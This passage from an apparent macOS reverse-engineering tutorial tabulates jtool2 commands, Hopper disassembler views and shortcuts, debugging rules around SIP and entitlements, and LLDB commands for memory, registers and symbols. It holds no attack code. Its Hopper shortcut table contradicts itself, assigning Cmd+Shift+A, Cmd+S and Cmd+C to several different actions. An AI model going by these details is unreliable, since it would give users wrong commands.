</table>

<h2 id="jtool2">Jtool2</h2>

<table>
  <thead>
    <tr>
      <th>Command</th>
      <th>Example Usage</th>
      <th>Explanation</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong><code class="language-plaintext highlighter-rouge">jtool2 -l</code></strong></td>
      <td><code class="language-plaintext highlighter-rouge">jtool2 -l /path/to/binary</code></td>
      <td>Lists all load commands and section details of a Mach-O file. Useful for getting a quick overview of the binary’s structure and contents.</td>
    </tr>
    <tr>
      <td><strong><code class="language-plaintext highlighter-rouge">jtool2 -L</code></strong></td>
      <td><code class="language-plaintext highlighter-rouge">jtool2 -L /path/to/binary</code></td>
      <td>Displays the dynamic libraries (dylibs) that the binary links against. Essential for understanding external dependencies.</td>
    </tr>
    <tr>
      <td><strong><code class="language-plaintext highlighter-rouge">jtool2 -S</code></strong></td>
      <td><code class="language-plaintext highlighter-rouge">jtool2 -S /path/to/binary</code></td>
      <td>Shows the symbol table of the binary, including both local and external symbols. Valuable for debugging and reverse engineering.</td>
    </tr>
    <tr>
      <td><strong><code class="language-plaintext highlighter-rouge">jtool2 -v</code></strong></td>
      <td><code class="language-plaintext highlighter-rouge">jtool2 -v /path/to/binary</code></td>
      <td>Provides verbose output for the given file, including detailed information on the binary’s headers, load commands, and more.</td>
    </tr>
    <tr>
      <td><strong><code class="language-plaintext highlighter-rouge">ARCH=arch jtool2 --sig</code></strong></td>
      <td><code class="language-plaintext highlighter-rouge">ARCH=x86_64 jtool2 --sig /path/to/binary</code></td>
      <td>Displays the code signature information, including certificate details, hashes, and more. Useful for security analysis.</td>
    </tr>
    <tr>
      <td><strong><code class="language-plaintext highlighter-rouge">jtool2 --ent</code></strong></td>
      <td><code class="language-plaintext highlighter-rouge">jtool2 --ent /path/to/binary</code></td>
      <td>Outputs the entitlements used by the binary in XML format. Crucial for assessing the permissions granted to the application.</td>
    </tr>
    <tr>
      <td><strong><code class="language-plaintext highlighter-rouge">jtool2 -d</code></strong></td>
      <td><code class="language-plaintext highlighter-rouge">jtool2 -d /path/to/binary</code></td>
      <td>Dumps disassembled code from the binary. Note that this is primarily intended for ARM binaries and might not fully support other formats.</td>
    </tr>
    <tr>
      <td><strong><code class="language-plaintext highlighter-rouge">jtool2 --objc</code></strong></td>
      <td><code class="language-plaintext highlighter-rouge">jtool2 --objc /path/to/binary</code></td>
      <td>Analyzes and outputs Objective-C runtime information, such as classes, methods, and protocols.</td>
    </tr>
    <tr>
      <td><strong><code class="language-plaintext highlighter-rouge">jtool2 --analyze</code></strong></td>
      <td><code class="language-plaintext highlighter-rouge">jtool2 --analyze /path/to/binary</code></td>
      <td>Performs an in-depth analysis of the binary, providing insights into potential vulnerabilities or unusual patterns in the code.</td>
    </tr>
  </tbody>
</table>

<h2 id="hopper">Hopper</h2>

<h3 id="lables">Lables</h3>

<p><img width="261" height="332" alt="image" src="https://github.com/user-attachments/assets/fa6b7adc-44ab-414a-8a1d-fec7b1b95b70" /></p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">Address</code>: This is the hexadecimal address of the label within the binary’s memory space. It points to where the label, which can be a function, a variable, or a marker, is located in the disassembled code.</li>
  <li><code class="language-plaintext highlighter-rouge">Type</code>: Indicates the nature of the label. Common types include:
    <ul>
      <li><code class="language-plaintext highlighter-rouge">S</code> (Symbol) for named points in the code which could represent functions or markers placed by the compiler or the disassembler.</li>
      <li><code class="language-plaintext highlighter-rouge">A</code> (Array) denoting the beginning of an array data structure.</li>
      <li><code class="language-plaintext highlighter-rouge">P</code> (Procedure) representing the start of a procedure or function.</li>
      <li><code class="language-plaintext highlighter-rouge">D</code> (Data) for locations that are marked to hold data rather than executable code.</li>
    </ul>
  </li>
  <li><code class="language-plaintext highlighter-rouge">Name</code>: This is the name assigned to the label. It could be a name given by the programmer, or it could be a name generated by Hopper based on the label’s usage or content. For example:
<code class="language-plaintext highlighter-rouge">__mh_execute_header</code> typically marks the start of the <code class="language-plaintext highlighter-rouge">Mach-O</code> header in <code class="language-plaintext highlighter-rouge">macOS</code> executables.
<code class="language-plaintext highlighter-rouge">_main</code> is the name conventionally given to the starting point of a C or C++ program.
<code class="language-plaintext highlighter-rouge">printf</code> and <code class="language-plaintext highlighter-rouge">dyld_stub_binder</code> suggest imported functions used for printing to the console and dynamic linking, respectively.</li>
</ul>

<h3 id="functions">Functions</h3>

<p><img width="259" height="175" alt="image" src="https://github.com/user-attachments/assets/fc7e68af-ddbc-441e-8fee-d1ae3132fce9" /></p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">Idx</code> (Index): This is a sequential number assigned to each procedure for easy reference. It typically starts from 0 and increments by 1 for each procedure discovered in the binary.</li>
  <li><code class="language-plaintext highlighter-rouge">Name</code>: The name of the procedure, which can be the one assigned by the programmer or inferred from debugging symbols or imports within the binary. In this case, you have _main, which is typically the entry point for C programs, and printf, a standard C library function for printing formatted output to the console.</li>
  <li><code class="language-plaintext highlighter-rouge">Block</code>: Indicates the basic block count within the procedure. A basic block is a straight-line code sequence with no branches in except to the entry and no branches out except at the exit. In the provided image, both _main and printf are part of one basic block.</li>
  <li><code class="language-plaintext highlighter-rouge">Size</code>: Represents the size of the procedure in bytes. This tells you how much space the compiled machine code for this procedure occupies. _main is 28 bytes, while printf is 6 bytes.</li>
</ul>

<h3 id="strings">Strings</h3>

<ul>
  <li>Readabble Strings extracted from the binary</li>
</ul>

<h3 id="disassembly-view">Disassembly view</h3>

<p><img width="753" height="715" alt="image" src="https://github.com/user-attachments/assets/27812146-ba3a-431f-b45a-afa767fb5d56" /></p>

<h3 id="graphical-view">Graphical View</h3>

<p><img width="662" height="582" alt="image" src="https://github.com/user-attachments/assets/6b5a9c0f-209f-4c35-b254-ab69ab2ad72d" /></p>

<h3 id="decompiling">Decompiling</h3>

<p><img width="743" height="195" alt="image" src="https://github.com/user-attachments/assets/2269ee76-598b-439a-b881-34db98b573d0" /></p>

<h3 id="hex-view">Hex view</h3>

<p><img width="739" height="714" alt="image" src="https://github.com/user-attachments/assets/8918bd6d-f833-4a67-91f1-8e9cc4e78801" /></p>

<h3 id="external-functions-resolution">External functions Resolution</h3>

<ul>
  <li>
    <p>External function <code class="language-plaintext highlighter-rouge">printf</code>
<img width="395" height="22" alt="image" src="https://github.com/user-attachments/assets/e0876769-c234-435b-aa92-7110ee49c9f7" /></p>
  </li>
  <li>
    <p>Double clicking on <code class="language-plaintext highlighter-rouge">imp___stubs__printf</code> take us to the pointer:
<img width="422" height="58" alt="image" src="https://github.com/user-attachments/assets/21873be2-e260-4907-b307-d853207e6613" /></p>
  </li>
  <li>
    <p>Double cliuck on <code class="language-plaintext highlighter-rouge">-printf_ptr</code> take us to the <code class="language-plaintext highlighter-rouge">__la_symbol_ptr</code> section, which contains a list of external pointers.
<img width="412" height="131" alt="image" src="https://github.com/user-attachments/assets/5fa6da72-0ce7-4603-9993-afcacfe5c774" /></p>
  </li>
</ul>

<p>And here where dynamic loader (<code class="language-plaintext highlighter-rouge">dyld</code>) will populate the address of the external function.</p>

<h3 id="useful-table-for-static-analysis-with-hopper">Useful table for static analysis with hopper</h3>

<table>
  <thead>
    <tr>
      <th>Feature</th>
      <th>Menu Path</th>
      <th>Shortcut</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>New</strong></td>
      <td>File &gt; New</td>
      <td>Cmd + N</td>
      <td>Creates a new file/workspace in Hopper.</td>
    </tr>
    <tr>
      <td><strong>Open</strong></td>
      <td>File &gt; Open…</td>
      <td>Cmd + O</td>
      <td>Opens an existing file for disassembling.</td>
    </tr>
    <tr>
      <td><strong>Open Recent</strong></td>
      <td>File &gt; Open Recent</td>
      <td> </td>
      <td>Provides a submenu to open recently accessed files.</td>
    </tr>
    <tr>
      <td><strong>Save</strong></td>
      <td>File &gt; Save</td>
      <td>Cmd + S</td>
      <td>Saves the current state of the workspace.</td>
    </tr>
    <tr>
      <td><strong>Save As…</strong></td>
      <td>File &gt; Save As…</td>
      <td>Shift + Cmd + S</td>
      <td>Saves the current workspace as a new file.</td>
    </tr>
    <tr>
      <td><strong>Import Types…</strong></td>
      <td>File &gt; Import Types…</td>
      <td> </td>
      <td>Imports type declarations from another file.</td>
    </tr>
    <tr>
      <td><strong>Export Types…</strong></td>
      <td>File &gt; Export Types…</td>
      <td> </td>
      <td>Exports type declarations to a file.</td>
    </tr>
    <tr>
      <td><strong>Import Types from C-like Header File…</strong></td>
      <td>File &gt; Import Types from C-like Header File…</td>
      <td> </td>
      <td>Imports types from a C-like header file to use in disassembly annotations.</td>
    </tr>
    <tr>
      <td><strong>Export Objective-C Header File…</strong></td>
      <td>File &gt; Export Objective-C Header File…</td>
      <td> </td>
      <td>Exports an Objective-C header file based on the classes and methods detected in the binary.</td>
    </tr>
    <tr>
      <td><strong>Produce Assembly Text File…</strong></td>
      <td>File &gt; Produce Assembly Text File…</td>
      <td> </td>
      <td>Generates an assembly listing of the entire binary or selected portion to a text file.</td>
    </tr>
    <tr>
      <td><strong>Produce Assembly For Current Procedure…</strong></td>
      <td>File &gt; Produce Assembly For Current Procedure…</td>
      <td> </td>
      <td>Outputs the assembly code for the currently selected procedure to a text file.</td>
    </tr>
    <tr>
      <td><strong>Produce Pseudo-Code File For Current Procedure…</strong></td>
      <td>File &gt; Produce Pseudo-Code File For Current Procedure…</td>
      <td> </td>
      <td>Generates pseudo-code for the current procedure and exports it to a file.</td>
    </tr>
    <tr>
      <td><strong>Read Executable to Disassemble…</strong></td>
      <td>File &gt; Read Executable to Disassemble…</td>
      <td>Shift + Cmd + O</td>
      <td>Opens a dialog to select an executable file specifically for disassembly.</td>
    </tr>
    <tr>
      <td><strong>Read File From DYLD Cache…</strong></td>
      <td>File &gt; Read File From DYLD Cache…</td>
      <td> </td>
      <td>Allows reading and disassembling of binaries directly from the DYLD shared cache.</td>
    </tr>
    <tr>
      <td><strong>Copy</strong></td>
      <td>Edit &gt; Copy</td>
      <td>Cmd + C</td>
      <td>Copies the selected content to the clipboard.</td>
    </tr>
    <tr>
      <td><strong>Copy Hex String of Selected Bytes</strong></td>
      <td>Edit &gt; Copy Hex String of Selected Bytes</td>
      <td>Cmd + Shift + C</td>
      <td>Copies the selected bytes as a hexadecimal string to the clipboard.</td>
    </tr>
    <tr>
      <td><strong>Select All</strong></td>
      <td>Edit &gt; Select All</td>
      <td>Cmd + A</td>
      <td>Selects all content in the current context or field.</td>
    </tr>
    <tr>
      <td><strong>Select Procedure</strong></td>
      <td>Edit &gt; Select Procedure</td>
      <td>Cmd + Shift + A</td>
      <td>Selects the entire procedure (function) that the cursor is currently in.</td>
    </tr>
    <tr>
      <td><strong>Mark as Code</strong></td>
      <td>Modify &gt; Code &gt; Code</td>
      <td>Cmd + P</td>
      <td>Interprets the selected bytes as executable code.</td>
    </tr>
    <tr>
      <td><strong>Mark as Data Array</strong></td>
      <td>Modify &gt; Data &gt; Array</td>
      <td>Cmd + Shift + D</td>
      <td>Marks the selection as a data array, interpreting the bytes as a series of data elements.</td>
    </tr>
    <tr>
      <td><strong>Mark as NULL-Terminated C String</strong></td>
      <td>Modify &gt; Data &gt; NULL-Terminated C String</td>
      <td>Cmd + Shift + A</td>
      <td>Interprets the selected bytes as a NULL-terminated C string.</td>
    </tr>
    <tr>
      <td><strong>Mark as Unicode String</strong></td>
      <td>Modify &gt; Data &gt; Unicode String</td>
      <td>Cmd + Shift + U</td>
      <td>Marks the selection as a Unicode string, interpreting the bytes as characters in Unicode encoding.</td>
    </tr>
    <tr>
      <td><strong>Assemble Instruction…</strong></td>
      <td>Modify &gt; Assemble Instruction…</td>
      <td>Cmd + Shift + A</td>
      <td>Opens a dialog allowing you to input and compile assembly instructions to replace existing code at the selection.</td>
    </tr>
    <tr>
      <td><strong>Go To Address or Symbol…</strong></td>
      <td>Navigate &gt; Go To Address or Symbol…</td>
      <td>G</td>
      <td>Jumps to the inputted address or symbol within the binary.</td>
    </tr>
    <tr>
      <td><strong>Go To File Offset…</strong></td>
      <td>Navigate &gt; Go To File Offset…</td>
      <td>Shift + G</td>
      <td>Moves to the specified file offset, allowing for precise navigation based on file structure.</td>
    </tr>
    <tr>
      <td><strong>Show Segment List…</strong></td>
      <td>Navigate &gt; Show Segment List…</td>
      <td>Cmd + S</td>
      <td>Displays a list of all segments in the binary.</td>
    </tr>
    <tr>
      <td><strong>Show Section List…</strong></td>
      <td>Navigate &gt; Show Section List…</td>
      <td>Shift + Cmd + S</td>
      <td>Displays a list of all sections in the binary.</td>
    </tr>
    <tr>
      <td><strong>Next Code</strong></td>
      <td>Navigate &gt; Next Code</td>
      <td>Cmd + C</td>
      <td>Jumps to the next chunk of code in the binary.</td>
    </tr>
    <tr>
      <td><strong>Next Data</strong></td>
      <td>Navigate &gt; Next Data</td>
      <td>Cmd + D</td>
      <td>Jumps to the next data section in the binary.</td>
    </tr>
    <tr>
      <td><strong>Next Procedure</strong></td>
      <td>Navigate &gt; Next Procedure</td>
      <td>Cmd + P</td>
      <td>Moves to the next defined procedure or function.</td>
    </tr>
    <tr>
      <td><strong>References To Highlighted Word…</strong></td>
      <td>Navigate &gt; References To Highlighted Word…</td>
      <td>Cmd + R</td>
      <td>Lists all the references to the currently highlighted word in the code.</td>
    </tr>
    <tr>
      <td><strong>Search for Symbol…</strong></td>
      <td>Navigate &gt; Search for Symbol…</td>
      <td>Cmd + F</td>
      <td>Opens a search dialog to quickly find symbols within the binary.</td>
    </tr>
    <tr>
      <td><strong>Show Control Flow Graph</strong></td>
      <td>Window &gt; Show Control Flow Graph</td>
      <td>Space</td>
      <td>Displays the control flow graph for the current procedure.</td>
    </tr>
    <tr>
      <td><strong>Show Pseudo Code of Procedure</strong></td>
      <td>Window &gt; Show Pseudo Code of Procedure</td>
      <td>Cmd + Option + P</td>
      <td>Opens the pseudo code representation of the current procedure.</td>
    </tr>
    <tr>
      <td><strong>Show Hexadecimal Editor</strong></td>
      <td>Window &gt; Show Hexadecimal Editor</td>
      <td>Cmd + Option + H</td>
      <td>Opens the hexadecimal view of the binary.</td>
    </tr>
  </tbody>
</table>

<h1 id="macos-binary-dynamic-analysis">MacOS Binary Dynamic Analysis</h1>
<h2 id="debugging-rules">Debugging Rules</h2>
<p>The rules for debugging applications on macOS;</p>

<ol>
  <li><strong>Debugging Signed Applications with Entitlements</strong>:
    <ul>
      <li>Applications that are signed and have the <code class="language-plaintext highlighter-rouge">com.apple.security.get-task-allow</code> entitlement can be debugged by a standard user. This entitlement specifically allows other processes, like debuggers, to attach to the application. Xcode automatically adds this entitlement to apps when they are built for development.</li>
    </ul>
  </li>
  <li><strong>Applications Protected by SIP</strong>:
    <ul>
      <li>System Integrity Protection (SIP) restricts debugging of system binaries or those signed with hardened runtime unless the target application has the <code class="language-plaintext highlighter-rouge">com.apple.security.get-task-allow</code> entitlement. To debug such applications, the debugger itself must have the <code class="language-plaintext highlighter-rouge">com.apple.security.cs.debugger</code> entitlement.</li>
    </ul>
  </li>
  <li><strong>Debugging Non-Protected Applications</strong>:
    <ul>
      <li>Applications not protected by SIP and without the <code class="language-plaintext highlighter-rouge">com.apple.security.get-task-allow</code> entitlement can still be debugged if the user runs the debugger as root or authenticates as an admin.</li>
    </ul>
  </li>
  <li><strong>Limitations on Debugging System Binaries or Hardened Runtime Applications</strong>:
    <ul>
      <li>You cannot debug system binaries or applications signed with hardened runtime as part of Apple’s notarization requirements, unless they have the <code class="language-plaintext highlighter-rouge">com.apple.security.get-task-allow</code> entitlement.</li>
    </ul>
  </li>
  <li><strong>Notarization</strong>:
    <ul>
      <li>Notarization is an Apple security process for scanning applications for malicious content before distribution. If an app is not notarized, Gatekeeper may block its execution to protect the system.</li>
    </ul>
  </li>
  <li><strong>Disabling SIP</strong>:
    <ul>
      <li>While disabling SIP would technically allow debugging of any application, it is not recommended. SIP provides critical protections beyond just debugging restrictions, including protecting core system files and preventing unsigned kernel extensions from loading. Disabling SIP significantly weakens macOS security.</li>
    </ul>
  </li>
</ol>

<h2 id="lldb">LLDB</h2>

<h3 id="esssentail-start">Esssentail Start</h3>

<table>
  <thead>
    <tr>
      <th>Category</th>
      <th>Name</th>
      <th>Command</th>
      <th>Shortcut</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Essential Start</strong></td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
    </tr>
    <tr>
      <td>Open Executable</td>
      <td><code class="language-plaintext highlighter-rouge">target create</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) target create "./executable"</code></td>
      <td> </td>
      <td>Loads a new executable for debugging.</td>
    </tr>
    <tr>
      <td>Attach Process</td>
      <td><code class="language-plaintext highlighter-rouge">process attach</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) process attach --pid &lt;PID&gt;</code></td>
      <td> </td>
      <td>Attaches the debugger to an existing process by PID.</td>
    </tr>
    <tr>
      <td>Stop Debugging</td>
      <td><code class="language-plaintext highlighter-rouge">process kill</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) process kill</code></td>
      <td> </td>
      <td>Terminates the current debugging session.</td>
    </tr>
    <tr>
      <td>Go</td>
      <td><code class="language-plaintext highlighter-rouge">process continue</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) process continue</code></td>
      <td><code class="language-plaintext highlighter-rouge">c</code></td>
      <td>Continues execution after a breakpoint or pause.</td>
    </tr>
    <tr>
      <td>Restart</td>
      <td><code class="language-plaintext highlighter-rouge">process launch</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) process launch --stop-at-entry</code></td>
      <td> </td>
      <td>Restarts the current debugging session and stops at the entry point.</td>
    </tr>
    <tr>
      <td>Step Into</td>
      <td><code class="language-plaintext highlighter-rouge">thread step-in</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) thread step-in</code></td>
      <td><code class="language-plaintext highlighter-rouge">si</code></td>
      <td>Executes one line or instruction at a time, stepping into functions.</td>
    </tr>
    <tr>
      <td>Step Over</td>
      <td><code class="language-plaintext highlighter-rouge">thread step-over</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) thread step-over</code></td>
      <td><code class="language-plaintext highlighter-rouge">ni</code></td>
      <td>Executes the next line or instruction, stepping over function calls.</td>
    </tr>
    <tr>
      <td>Step Out</td>
      <td><code class="language-plaintext highlighter-rouge">thread step-out</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) thread step-out</code></td>
      <td><code class="language-plaintext highlighter-rouge">finish</code></td>
      <td>Continues execution until the current function completes.</td>
    </tr>
    <tr>
      <td><strong>Monitoring &amp; Debugging Windows</strong></td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
    </tr>
    <tr>
      <td>Command Interface</td>
      <td><code class="language-plaintext highlighter-rouge">LLDB console</code></td>
      <td>Access through terminal or IDE console</td>
      <td> </td>
      <td>The primary interface for all LLDB commands.</td>
    </tr>
    <tr>
      <td>Watchpoint Set</td>
      <td><code class="language-plaintext highlighter-rouge">watchpoint set</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) watchpoint set variable myVar</code></td>
      <td> </td>
      <td>Sets a watchpoint for a variable to monitor its value changes.</td>
    </tr>
    <tr>
      <td>View Local Variables</td>
      <td><code class="language-plaintext highlighter-rouge">frame variable</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) frame variable</code></td>
      <td> </td>
      <td>Displays local variables in the current frame.</td>
    </tr>
    <tr>
      <td>View Registers</td>
      <td><code class="language-plaintext highlighter-rouge">register read</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) register read</code></td>
      <td> </td>
      <td>Displays the values of CPU registers.</td>
    </tr>
    <tr>
      <td>View Memory</td>
      <td><code class="language-plaintext highlighter-rouge">memory read</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) memory read &lt;ADDRESS&gt;</code></td>
      <td> </td>
      <td>Allows examination of memory contents.</td>
    </tr>
    <tr>
      <td>View Call Stack</td>
      <td><code class="language-plaintext highlighter-rouge">bt</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) bt</code></td>
      <td> </td>
      <td>Displays the current call stack.</td>
    </tr>
    <tr>
      <td>View Disassembly</td>
      <td><code class="language-plaintext highlighter-rouge">disassemble</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) disassemble --name main</code></td>
      <td> </td>
      <td>Shows disassembled code for a function.</td>
    </tr>
    <tr>
      <td><strong>Advanced Usage &amp; Customization</strong></td>
      <td> </td>
      <td> </td>
      <td> </td>
      <td> </td>
    </tr>
    <tr>
      <td>Python Scripting</td>
      <td><code class="language-plaintext highlighter-rouge">command script</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) command script add -f my_script.my_func my_cmd</code></td>
      <td> </td>
      <td>Adds a custom command using a Python function.</td>
    </tr>
    <tr>
      <td>Aliases &amp; Shortcuts</td>
      <td><code class="language-plaintext highlighter-rouge">command alias</code></td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) command alias b breakpoint set</code></td>
      <td> </td>
      <td>Creates custom aliases for existing commands.</td>
    </tr>
    <tr>
      <td>LLDB Init File</td>
      <td><code class="language-plaintext highlighter-rouge">~/.lldbinit</code></td>
      <td>Include commands in <code class="language-plaintext highlighter-rouge">~/.lldbinit</code></td>
      <td> </td>
      <td>Loads custom LLDB settings and commands on startup.</td>
    </tr>
    <tr>
      <td>Extend LLDB</td>
      <td>Custom Python scripts</td>
      <td>Use <code class="language-plaintext highlighter-rouge">script</code> command to run Python</td>
      <td> </td>
      <td>Write and run Python scripts for complex debugging tasks.</td>
    </tr>
  </tbody>
</table>

<h3 id="symbols">Symbols</h3>

<table>
  <thead>
    <tr>
      <th>Category</th>
      <th>Command/Action</th>
      <th>Description</th>
      <th>Example</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Symbol Configuration</strong></td>
      <td> </td>
      <td> </td>
      <td> </td>
    </tr>
    <tr>
      <td>Set Symbol File Path</td>
      <td><code class="language-plaintext highlighter-rouge">target symbols add</code></td>
      <td>Adds a new symbol file to the current target.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) target symbols add /path/to/symbols</code></td>
    </tr>
    <tr>
      <td>Append Symbol Search Path</td>
      <td><code class="language-plaintext highlighter-rouge">settings set target.exec-search-paths</code></td>
      <td>Appends new paths to the symbol search paths.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) settings set target.exec-search-paths /path/to/symbols</code></td>
    </tr>
    <tr>
      <td>Reload Symbols</td>
      <td><code class="language-plaintext highlighter-rouge">target modules reload</code></td>
      <td>Reloads symbol information for a specific module.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) target modules reload --filename libmylib.dylib</code></td>
    </tr>
    <tr>
      <td>List Symbol Search Paths</td>
      <td><code class="language-plaintext highlighter-rouge">settings show target.exec-search-paths</code></td>
      <td>Displays the current symbol search paths.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) settings show target.exec-search-paths</code></td>
    </tr>
    <tr>
      <td>Clear All Symbol Information</td>
      <td><code class="language-plaintext highlighter-rouge">target symbols clear</code></td>
      <td>Clears all symbol information from the current target.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) target symbols clear</code></td>
    </tr>
  </tbody>
</table>

<h3 id="display--manupilating--cpu--memory">Display &amp; Manupilating ( CPU &amp; Memory):</h3>

<table>
  <thead>
    <tr>
      <th>Category</th>
      <th>Command/Action</th>
      <th>Description</th>
      <th>Example</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Memory Examination</strong></td>
      <td> </td>
      <td> </td>
      <td> </td>
    </tr>
    <tr>
      <td>Disassemble Memory</td>
      <td><code class="language-plaintext highlighter-rouge">disassemble --start-address</code></td>
      <td>Disassembles code starting from a specified address.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) disassemble --start-address 0x00400000</code></td>
    </tr>
    <tr>
      <td>Read Memory</td>
      <td><code class="language-plaintext highlighter-rouge">memory read</code></td>
      <td>Displays memory content at a specified address.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) memory read 0x00400000</code></td>
    </tr>
    <tr>
      <td>Write Memory</td>
      <td><code class="language-plaintext highlighter-rouge">memory write</code></td>
      <td>Writes data to a specified memory address.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) memory write 0x00400000 0x90</code></td>
    </tr>
    <tr>
      <td><strong>Memory Dumping</strong></td>
      <td> </td>
      <td> </td>
      <td> </td>
    </tr>
    <tr>
      <td>Dump Memory as Bytes</td>
      <td><code class="language-plaintext highlighter-rouge">memory read --format b</code></td>
      <td>Reads memory content as bytes.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) memory read --format b 0x00400000</code></td>
    </tr>
    <tr>
      <td>Dump Memory as Words</td>
      <td><code class="language-plaintext highlighter-rouge">memory read --format w</code></td>
      <td>Reads memory content as 16-bit words.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) memory read --format w 0x00400000</code></td>
    </tr>
    <tr>
      <td>Dump Memory as Double Words</td>
      <td><code class="language-plaintext highlighter-rouge">memory read --format W</code></td>
      <td>Reads memory content as 32-bit double words.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) memory read --format W 0x00400000</code></td>
    </tr>
    <tr>
      <td>Dump Memory as Quad Words</td>
      <td><code class="language-plaintext highlighter-rouge">memory read --format q</code></td>
      <td>Reads memory content as 64-bit quad words.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) memory read --format q 0x00400000</code></td>
    </tr>
    <tr>
      <td>Dump Memory as Pointers</td>
      <td><code class="language-plaintext highlighter-rouge">memory read --format p</code></td>
      <td>Reads memory content as pointer values.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) memory read --format p 0x00400000</code></td>
    </tr>
    <tr>
      <td><strong>Searching in Memory</strong></td>
      <td> </td>
      <td> </td>
      <td> </td>
    </tr>
    <tr>
      <td>Search for Byte Pattern</td>
      <td><code class="language-plaintext highlighter-rouge">memory find</code></td>
      <td>Searches memory for a specific byte pattern.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) memory find 0x00400000 0x00401000 0x90</code></td>
    </tr>
    <tr>
      <td>Search for ASCII String</td>
      <td><code class="language-plaintext highlighter-rouge">memory find --string</code></td>
      <td>Searches memory for an ASCII string.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) memory find --string 0x00400000 0x00401000 "Hello"</code></td>
    </tr>
    <tr>
      <td><strong>CPU Registers Manipulation</strong></td>
      <td> </td>
      <td> </td>
      <td> </td>
    </tr>
    <tr>
      <td>Show All Registers</td>
      <td><code class="language-plaintext highlighter-rouge">register read</code></td>
      <td>Displays all CPU registers.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) register read</code></td>
    </tr>
    <tr>
      <td>Read Specific Register</td>
      <td><code class="language-plaintext highlighter-rouge">register read</code></td>
      <td>Displays a specific register value.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) register read eax</code></td>
    </tr>
    <tr>
      <td>Write to Register</td>
      <td><code class="language-plaintext highlighter-rouge">register write</code></td>
      <td>Writes a value to a specific register.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) register write eax 5</code></td>
    </tr>
    <tr>
      <td><strong>Memory Formatting Options</strong></td>
      <td> </td>
      <td> </td>
      <td> </td>
    </tr>
    <tr>
      <td>Read Memory as ASCII String</td>
      <td><code class="language-plaintext highlighter-rouge">memory read --format s</code></td>
      <td>Reads memory content as ASCII strings.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) memory read --format s 0x00400000</code></td>
    </tr>
    <tr>
      <td>Read Memory as Unicode String</td>
      <td><code class="language-plaintext highlighter-rouge">memory read --format U</code></td>
      <td>Reads memory content as Unicode strings.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) memory read --format U 0x00400000</code></td>
    </tr>
    <tr>
      <td>Write ASCII String to Memory</td>
      <td><code class="language-plaintext highlighter-rouge">memory write --format s</code></td>
      <td>Writes an ASCII string to memory.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) memory write --format s 0x00400000 "Hello, World!"</code></td>
    </tr>
    <tr>
      <td>Write Unicode String to Memory</td>
      <td><code class="language-plaintext highlighter-rouge">memory write --format U</code></td>
      <td>Writes a Unicode string to memory.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) memory write --format U 0x00400000 "Hello, World!"</code></td>
    </tr>
    <tr>
      <td>Read Memory as Hex String</td>
      <td><code class="language-plaintext highlighter-rouge">memory read --format x</code></td>
      <td>Reads memory content and displays it as hex.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) memory read --format x 0x00400000</code></td>
    </tr>
    <tr>
      <td>Read Memory as Decimal</td>
      <td><code class="language-plaintext highlighter-rouge">memory read --format d</code></td>
      <td>Reads memory content and displays it as decimal.</td>
      <td><code class="language-plaintext highlighter-rouge">(lldb) memory read --format d 0x00400000</code></td>
    </tr>
  </tbody>
</table>

<h3 id="breakpoints-in-lldb">Breakpoints in LLDB</h3>

<table>
  <thead>
    <tr>
      <th>Breakpoint Type</th>
      <th>Command Example</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Software Breakpoints</strong></td>
      <td><code class="language-plaintext highlighter-rouge">breakpoint set --address [Address]</code></td>
      <td>Sets a software breakpoint at a specified memory address.</td>
    </tr>
    <tr>
      <td> </td>
      <td><code class="language-plaintext highlighter-rouge">breakpoint set --name [Function] --shlib [Module]</code></td>
      <td>Sets a breakpoint at the start of a function within a specific module.</td>
    </tr>
    <tr>
      <td><strong>Unresolved Breakpoints</strong></td>
      <td><code class="language-plaintext highlighter-rouge">breakpoint set --name [Function]</code></td>
